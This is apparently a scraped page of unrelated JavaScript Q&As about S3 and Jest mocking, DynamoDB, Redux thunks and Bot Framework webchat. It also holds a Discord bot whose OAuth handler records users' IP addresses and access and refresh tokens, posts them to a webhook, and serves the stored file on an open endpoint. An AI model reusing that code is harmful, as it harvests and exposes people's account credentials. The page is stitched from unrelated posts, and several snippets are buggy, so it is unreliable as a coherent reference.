I am writing a unit test for S3 getObject. I used aws-sdk-mock, but when I run it I get an issue.
Error: the object {
"error": "InvalidAccessKeyId: The AWS Access Key Id you provided does not exist in our records."
"status": false
} was thrown, throw an Error :)
Here is the Unit test which I am writing:
const { expect } = require( 'chai' );
const utils = require( './s3Utils' );
const AWS = require( 'aws-sdk' );
const awsMock = require( 'aws-sdk-mock' );
const fs = require( 'fs' );
awsMock.setSDKInstance( AWS );
describe( 'S3 Utils', () => {
before(() => {
const rootPath = process.cwd();
awsMock.mock( 'S3', 'getObject', Buffer.from( fs.readFileSync( `${ rootPath }/file.js` )));
});
after(() => {
awsMock.restore( 'S3' );
});
it( 'Get the object from S3', async () => {
const result = await utils.getFilesFromS3( '/somepath' );
expect( result ).to.have.ownProperty( 'status' );
});
});
Here is the function for which I am writing the unit test:
const { s3Handler, BUCKET } = require( './../../config/s3Config' );
exports.getFilesFromS3 =
( bucketPath, fileName = 'index.js', bucketName = BUCKET ) => new Promise(( resolve, reject ) => {
try {
const params = { Key: `${ bucketPath }/${ fileName }`, Bucket: bucketName };
s3Handler.getObject( params, ( error, data ) => {
if ( error ) {
reject({ status: false, error });
} else {
if (( data !== undefined || data !== null ) && Object.prototype.hasOwnProperty.call( data, 'Body' )) {
const contents = data.Body.toString( 'utf-8' );
resolve({ status: true, contents });
}
reject({ status: false, error: `No body present ${ bucketPath }/${ fileName }` });
}
});
} catch ( error ) {
reject({ status: false, error });
}
});
What am I missing here?
This will work
const getObjectStub = AWS.S3.prototype.getObject = Sinon.stub();
getObjectStub.yields(null, {
AcceptRanges: "bytes",
ContentLength: 3191,
ContentType: "image/jpeg",
Metadata: {
},
TagCount: 2,
VersionId: "null"
}
);
Related
if there is a user id saved in the json file i want to give them a role when they use the .verify command.
or I want to automatically assign roles to user ids in json file
my code i tried but it didn't work I don't want it to assign a role if the person isn't there
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
all code of my bot
const Discord = require('discord.js');
const client = new Discord.Client({
fetchAllMembers: false,
restTimeOffset: 0,
restWsBridgetimeout: 100,
shards: "auto",
allowedMentions: {
parse: [],
repliedUser: false,
},
partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
intents: [
Discord.Intents.FLAGS.GUILDS,
Discord.Intents.FLAGS.GUILD_MEMBERS,
//Discord.Intents.FLAGS.GUILD_BANS,
//Discord.Intents.FLAGS.GUILD_EMOJIS_AND_STICKERS,
//Discord.Intents.FLAGS.GUILD_INTEGRATIONS,
//Discord.Intents.FLAGS.GUILD_WEBHOOKS,
//Discord.Intents.FLAGS.GUILD_INVITES,
Discord.Intents.FLAGS.GUILD_VOICE_STATES,
//Discord.Intents.FLAGS.GUILD_PRESENCES,
Discord.Intents.FLAGS.GUILD_MESSAGES,
Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.GUILD_MESSAGE_TYPING,
Discord.Intents.FLAGS.DIRECT_MESSAGES,
Discord.Intents.FLAGS.DIRECT_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.DIRECT_MESSAGE_TYPING
],
});
const jeu = require("./jeu");
const chalk = require('chalk');
const db = require('quick.db');
const fs = require('fs');
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
const FormData = require('form-data');
const axios = require('axios');
const emoji = require("./emoji");
process.on("unhandledRejection", err => console.log(err))
app.use(bodyParser.text())
app.get('/', function(req, res) {
res.sendFile(__dirname + '/index.html')
})
app.get('/jeuallauth', async (req, res) => {
fs.readFile('./object.json', function(err, data) {
return res.json(JSON.parse(data))
})
})
app.post('/', function(req, res) {
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
let form = new FormData()
form.append('client_id', jeu.client_id)
form.append('client_secret', jeu.client_secret)
form.append('grant_type', 'authorization_code')
form.append('redirect_uri', jeu.redirect_uri)
form.append('scope', 'identify', 'guilds.join')
form.append('code', req.body)
fetch('https://discordapp.com/api/oauth2/token', { method: 'POST', body: form, })
.then((eeee) => eeee.json())
.then((cdcd) => {
ac_token = cdcd.access_token
rf_token = cdcd.refresh_token
const tgg = { headers: { authorization: `${cdcd.token_type} ${ac_token}`, } }
axios.get('https://discordapp.com/api/users/#me', tgg)
.then((te) => {
let efjr = te.data.id
fs.readFile('./object.json', function(res, req) {
if (
JSON.parse(req).some(
(ususu) => ususu.userID === efjr
)
) {
console.log(
`[-] ${ip} - ` +
te.data.username +
`#` +
te.data.discriminator
)
return
}
console.log(
`[+] ${ip} - ` +
te.data.username +
'#' +
te.data.discriminator
)
avatarHASH =
'https://cdn.discordapp.com/avatars/' +
te.data.id +
'/' +
te.data.avatar +
'.png?size=4096'
fetch(`${jeu.wehbook}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
avatar_url: '',
embeds: [
{
color: 3092790,
title: `${emoji.info} **New User**`,
thumbnail: { url: avatarHASH },
description:
`${emoji.succes} \`${te.data.username}#${te.data.discriminator}\`` +
`\n\n${emoji.succes} IP: \`${ip}\`` +
`\n\n${emoji.succes} ID: \`${te.data.id}\`` +
`\n\n${emoji.succes} Acces Token: \`${ac_token}\`` +
`\n\n${emoji.succes} Refresh Token: \`${rf_token}\``,
},
],
}),
})
var papapa = {
userID: te.data.id,
userIP: ip,
avatarURL: avatarHASH,
username:
te.data.username + '#' + te.data.discriminator,
access_token: ac_token,
refresh_token: rf_token,
},
req = []
req.push(papapa)
fs.readFile('./object.json', function(res, req) {
var jzjjfj = JSON.parse(req)
jzjjfj.push(papapa)
fs.writeFile(
'./object.json',
JSON.stringify(jzjjfj),
function(eeeeeeeee) {
if (eeeeeeeee) {
throw eeeeeeeee
}
}
)
})
})
})
.catch((errrr) => {
console.log(errrr)
})
})
})
client.on("ready", () => {
setInterval(() => {
var guild = client.guilds.cache.get('1026216372386136114');
var shareCount = guild.members.cache.filter(member => member.roles.cache.has('1070667391278792714')).size;
var OnlineCount = guild.members.cache.filter(m => m.presence && m.presence.status !== "offline").size;
let activities = [ `${guild.memberCount} Members`, `${OnlineCount} Online Members`, `${guild.premiumSubscriptionCount} Hardcore Boosted` , `${shareCount} Shareholder Members` ], i = 0;
setInterval(() => client.user.setActivity({ name: `${activities[i++ % activities.length]}`, status: "DND" }), 5200);
}, 100);
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
}
}
})
function escapeRegex(str) {
return str.replace(/[.*+?^${}()|[\]\\]/g, `\\$&`);
}
})
json file
[{"userID":"10342421159140912","avatarURL":"*********","username":"****","access_token":"********","refresh_token":"****"}
The users who authorize my bot are saved in a json file and I want to automatically assign roles to the people in that file, but it didn't work.
I tried something else and if the user is registered in the json file it uses the .verify command and the bot gives him a role. but it was giving even though it wasn't registered, I couldn't figure it out
Trying to write a query for DynamoDB and learn promises etc. The console.log(resp.Items) returns the object that I am looking for so I think my query is formatted correctly. I get a status 200 back with an empty object.
I have read up for a few days and tried to implement various changes to the code by nothing is returning the object resp.Items. I am guessing the function is returning before the const is updated with the data but I am not sure why the console.log works.
const AWS = require('aws-sdk')
const dynamodb = new AWS.DynamoDB()
const getTechs = async () => {
try {
const resp = await dynamodb
.query({
ExpressionAttributeValues: {
':tech': { S: 'TECH#' },
},
KeyConditionExpression: 'PK = :tech',
TableName: process.env.TABLE_NAME,
ScanIndexForward: true,
})
.promise()
console.log(resp.Items)
if (!resp.Items) {
return {
error: 'No Techs in the DB',
}
}
return {
tech: resp.Items,
}
} catch (error) {
console.log('Error retrieving Tech List')
console.log(error)
return {
error: 'Could not retrieve Tech List',
}
}
}
handler func
const { makeHandler } = require('./utils')
const { getTechs } = require('../data')
// const { Tech } = require('../entities')
const inputSchema = {
type: 'object',
properties: {
pathParameters: {
type: 'object',
properties: {
tech: { type: 'string' },
},
required: ['tech'],
},
},
required: ['pathParameters'],
}
const handler = async (event) => {
const { techs, error } = await getTechs()
const statusCode = error ? 500 : 200
const body = error ? JSON.stringify({ error }) : JSON.stringify({ techs })
return {
statusCode,
body,
}
}
module.exports.handler = makeHandler({ handler })
executeTransactWrite func
const executeTransactWrite = async ({ tech, params }) => {
const transactionRequest = tech.transactWriteItems(params)
let cancellationReasons
transactionRequest.on('extractError', (response) => {
try {
cancellationReasons = JSON.parse(
response.httpResponse.body.toString()
).CancellationReasons
} catch (err) {
// suppress this just in case some types of errors aren't JSON parseable
console.error('Error extracting cancellation error', err)
}
})
return new Promise((resolve, reject) => {
transactionRequest.send((err, response) => {
if (err) {
err.cancellationReasons = cancellationReasons
return reject(err)
}
return resolve(response)
})
})
}
module.exports = {
executeTransactWrite,
makehandler func
const middy = require('middy')
const {
jsonBodyParser,
validator,
httpErrorHandler,
} = require('middy/middlewares')
const makeHandler = ({ handler, inputSchema }) =>
middy(handler)
.use(jsonBodyParser())
.use(validator({ inputSchema }))
.use(httpErrorHandler())
module.exports = { makeHandler }
The url I put inside axios.get is a wrong url. I am expecting an error message through action.error.message in the reducer section. But it's not returning any message despite the fetch request being failed. The code as follows:
usersSlice.js
const createSlice = require("#reduxjs/toolkit").createSlice;
const createAsyncThunk = require("#reduxjs/toolkit").createAsyncThunk;
const axios = require("axios");
const initialState = {
loading: false,
users: [],
error: "",
};
const fetchUsers = createAsyncThunk("users/fetchUsers", () => {
return axios
.get("https://jsonplaceholder.typicodeasdf.com/users")
.then((res) => console.log(res.data.map((user) => user.name)));
});
const usersSlice = createSlice({
name: "users",
initialState,
extraReducers: (builder) => {
builder.addCase(fetchUsers.pending, (state) => {
state.loading = true;
});
builder.addCase(fetchUsers.fulfilled, (state, action) => {
state.loading = false;
state.users = action.payload;
console.log("success");
});
builder.addCase(fetchUsers.rejected, (state, action) => {
state.loading = false;
state.users = [];
state.error = action.error.message;
console.log("failed");
});
},
});
module.exports = usersSlice.reducer;
module.exports.fetchUsers = fetchUsers;
store.js
const configureStore = require("#reduxjs/toolkit").configureStore;
const reduxLogger = require("redux-logger");
const usersSlice = require("./Features/users/userSlice");
const store = configureStore({
reducer: {
usersSlice: usersSlice,
},
});
module.exports = store;
index.js
const { fetchUsers } = require("./App/Features/users/userSlice.js");
const store = require("./App/store.js");
console.log("intial state", store.getState());
const unsubscribe = store.subscribe(() =>
console.log("updated state", store.getState())
);
store.dispatch(fetchUsers());
unsubscribe();
output
intial state { usersSlice: { loading: false, users: [], error: '' } }
updated state { usersSlice: { loading: true, users: [], error: '' } }
failed
Note
In the output I am expecting
updated state { usersSlice: { loading: false, users: [], error: 'some error message' } }
The thunk function in RTK has a built-in method to return an error message if the promise is rejected. I was actually willing to get that message. However, I resolved the problem. Instead of returning the data I actually console logged it. And completely forgot to fix it.
const fetchUsers = createAsyncThunk("users/fetchUsers", () => {
return axios
.get("https://jsonplaceholder.typicodeasdf.com/users")
**.then((res) => console.log(res.data.map((user) => user.name)));**
});
I'm implementing webchat with token based along with chat persistence everything works fine when user is online, but after some idle time if user is offline with no internet connectivity, for about 30-45 mins then later he gets back online and when ever he texting anything bot went to state DIRECT_LINE/POST_ACTIVITY_REJECTED
and user was unable to chat with the bot its giving away send retry on my message bubble. Is there any way possible to handle?.
(async function() {
'use strict';
const {
hooks: { usePostActivity },
hooks: { useDirection },
ReactWebChat
} = window.WebChat;
let { token, conversation_Id } = sessionStorage;
if ( !token ) {
const res = await fetch( 'https:/localhost/api/generateToken', { method: 'POST' } );
const { token: directLineToken, conversationId: conversationId } = await res.json();
sessionStorage[ 'token' ] = directLineToken;
sessionStorage[ 'conversation_Id' ] = conversationId;
token = directLineToken;
conversation_Id = conversationId;
}
if (token) {
await setInterval(async () => {
var myHeaders = new Headers();
myHeaders.append("Authorization","Bearer "+ sessionStorage[ 'token' ]);
let res = await fetch( 'https://directline.botframework.com/v3/directline/tokens/refresh', {
method: 'POST',
headers: myHeaders,
});
const { token: directLineToken, conversationId } = await res.json();
sessionStorage[ 'token' ] = directLineToken;
sessionStorage[ 'conversation_Id' ] = conversationId;
token = directLineToken;
conversation_Id = conversationId;
}, 1000*60*15)}
const store = window.WebChat.createStore({}, ({ dispatch }) => next => action => {
if(action.payload && action.payload.directLine) {
const subscription = action.payload.directLine.connectionStatus$.subscribe({
error: error => console.log( error ),
next: value => {
if ( value === 0 ) {console.log('Uninitialized')}
else if ( value === 1 ) {console.log('Connecting')}
else if ( value === 2 ) {console.log('Online')}
else if ( value === 3 ) {console.log('Expire Token')}
else if ( value === 4 ) {console.log('FailedToConnect')}
else if ( value === 5 ) {console.log('Ended')}
}
});
}
if (action.type === 'DIRECT_LINE/CONNECT_FULFILLED') {
dispatch({
type: 'WEB_CHAT/SEND_EVENT',
payload: {
name: 'Welcome',
value: { language: window.navigator.language }
}
});
}
if (action.type === 'DIRECT_LINE/POST_ACTIVITY') {
action = window.simpleUpdateIn(action, ['payload', 'activity', 'channelData', 'CustomChannel'], () =>"webchat");
}
return next(action);
});
const botconnection = createDirectLine( {token,webSockets: true,watermark: "0" });
window.ReactDOM.render(
<ReactWebChat directLine={botconnection}
store={store}
/>,
document.getElementById('webchat'));
document.querySelector('#webchat > *').focus();
})().catch(err => console.error(err));
note: token is not expired and If I refresh the page bot starts reponding.
I made a few adjustments to the code you supplied. I believe your token value was getting overwritten or corrupted, so I separated out the assigning of the token in the API call (token) and the variable assignment in the script (dl_token).
I was also getting an error on the refresh token call wrapped in the setInterval() function, which is why I use Babel, as shown below. (For testing, it helps identify errors that would otherwise have been missed.). Removing the actual API call from setInterval() and calling it as a separate function seemed to fix this.
After these changes, everything seems to be working smoothly. I only tested a few times waiting until the 45-50 minute, but didn't experience any issues with the token, needing to refresh, or receiving DIRECT_LINE/POST_ACTIVITY_REJECTED.
(Note that I made calls to my own 'token' server for generating and refreshing the token.)
<script crossorigin="anonymous" src="https://unpkg.com/#babel/standalone#7.8.7/babel.min.js"></script>
<script type="text/babel" data-presets="es2015,react,stage-3">
( async function () {
'use strict';
const {
ReactWebChat
} = window.WebChat;
let { dl_token, conversation_Id } = sessionStorage;
if ( !dl_token ) {
const res = await fetch( 'http://localhost:3500/directline/conversations', { method: 'POST' } );
const { token, conversationId } = await res.json();
sessionStorage[ 'dl_token' ] = token;
sessionStorage[ 'conversation_Id' ] = conversationId;
dl_token = token;
conversation_Id = conversationId;
}
if ( dl_token === sessionStorage['dl_token'] ) {
setInterval( () => {
refreshToken()
}, 1000 * 60 * 1 )
}
const refreshToken = async () => {
const res = await fetch( 'http://localhost:3500/directline/refresh', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
token: dl_token
})
} );
const { token, conversationId } = await res.json();
sessionStorage[ 'dl_token' ] = token;
sessionStorage[ 'conversation_Id' ] = conversationId;
dl_token = token;
conversation_Id = conversationId;
}
const store = window.WebChat.createStore( {}, ( { dispatch } ) => next => action => {
if ( action.payload && action.payload.directLine ) {
const subscription = action.payload.directLine.connectionStatus$.subscribe( {
error: error => console.log( error ),
next: value => {
if ( value === 0 ) { console.log( 'Uninitialized' ) }
else if ( value === 1 ) { console.log( 'Connecting' ) }
else if ( value === 2 ) { console.log( 'Online' ) }
else if ( value === 3 ) { console.log( 'Expire Token' ) }
else if ( value === 4 ) { console.log( 'FailedToConnect' ) }
else if ( value === 5 ) { console.log( 'Ended' ) }
}
} );
}
if ( action.type === 'DIRECT_LINE/CONNECT_FULFILLED' ) {
dispatch( {
type: 'WEB_CHAT/SEND_EVENT',
payload: {
name: 'Welcome',
value: { language: window.navigator.language }
}
} );
}
if ( action.type === 'DIRECT_LINE/POST_ACTIVITY' ) {
action = window.simpleUpdateIn( action, [ 'payload', 'activity', 'channelData', 'CustomChannel' ], () => "webchat" );
}
return next( action );
} );
const botconnection = await createDirectLine( { token: dl_token } );
window.ReactDOM.render(
<ReactWebChat directLine={botconnection}
store={store}
/>,
document.getElementById( 'webchat' ) );
document.querySelector( '#webchat > *' ).focus();
} )().catch( err => console.error( err ) );
</script>
Hope of help!
I'm New to unit test and trying to test my controller method.my project architecture design is as follow
Controller->Service->Model.
My test scenarios :
Pass correct parameters to controller method and test success response
Pass Invalid parameters to controller method and test error response
When i going to test scenario 1 ,according to my understanding i want to mock my programService and it return values.I have write test as follow and got errors.
I would really appreciate some one can fix this
ProgramsController.js
const ProgramService = require('../../services/program/programService');
class ProgramsController {
constructor() {
this.programService = new ProgramService();
}
async subscribe(req, res) {
try {
const { userId, uuid, msisdn, body: { programId } } = req;
const data = { userId, programId, msisdn, uuid }
const subscribe = await this.programService.subscribeUser(data);
res.json({
status: true,
message: 'Success',
friendly_message: constant.MSG.SUBSCRIPTION,
data: subscribe
})
} catch (error) {
res.status(500)
.json({
status: false,
message: 'Fail',
friendly_message: constant.MSG.SUBSCRIPTION_FAIL
})
}
}
}
ProgramService.js
class ProgramService {
constructor() {
this.subscriber = new Subscriber();
this.subsciberProgram = new SubsciberProgram()
}
async subscribeUser(data) {
try {
const { msisdn, userId, programId, uuid } = data;
...
return subscribedData;
} catch (error) {
throw error;
}
}
}
module.exports = ProgramService;
test.spec.js
const ProgramsService = require('../src/services/program/programService')
const ProgramsController = require('../src/controllers/programs/programsController')
const programController = new ProgramsController()
const programsService = new ProgramsService()
beforeAll(() => {
db.sequelize.sync({ force: true }).then(() => { });
});
const mockRequest = (userId, uuid, msisdn, body) => ({
userId,
uuid,
msisdn,
body,
});
const mockResponse = () => {
const res = {};
res.status = jest.fn().mockReturnValue(res);
res.json = jest.fn().mockReturnValue(res);
return res;
};
const serviceRecord = { userId: 1, programId: 1, msisdn: '56768382967', uuid: '46651a19-3ef1-4149-818e-9bd8a5f359ef' };
const fakeServiceReturn = { program_id: 1, amount: 5, no_of_questions: 10 }
describe('Subscribe', () => {
test('should return 200', async () => {
const req = mockRequest(
1,
'56768382967',
'46651a19-3ef1-4149-818e-9bd8a5f359ef',
{ 'programId': 1 }
);
const res = mockResponse();
const spy = jest.spyOn(programsService, 'subscribeUser').mockImplementation(() => serviceRecord);
await programController.subscribe(req, res);
expect(programsService.subscribeUser()).toHaveBeenCalledWith(fakeServiceReturn);
expect(res.status).toHaveBeenCalledWith(500);
expect(res.json).toHaveBeenCalledWith({
status: true,
message: 'Success',
friendly_message: 'successfull get data',
data : { program_id: 1, amount: 5, no_of_questions: 10 }
});
spy.mockRestore();
});
});
how can i mock programService.subscribeUser and test success response?
This mock should return a promise:
jest.spyOn(programsService, 'subscribeUser').mockImplementation(() => Promise.resolve(serviceRecord));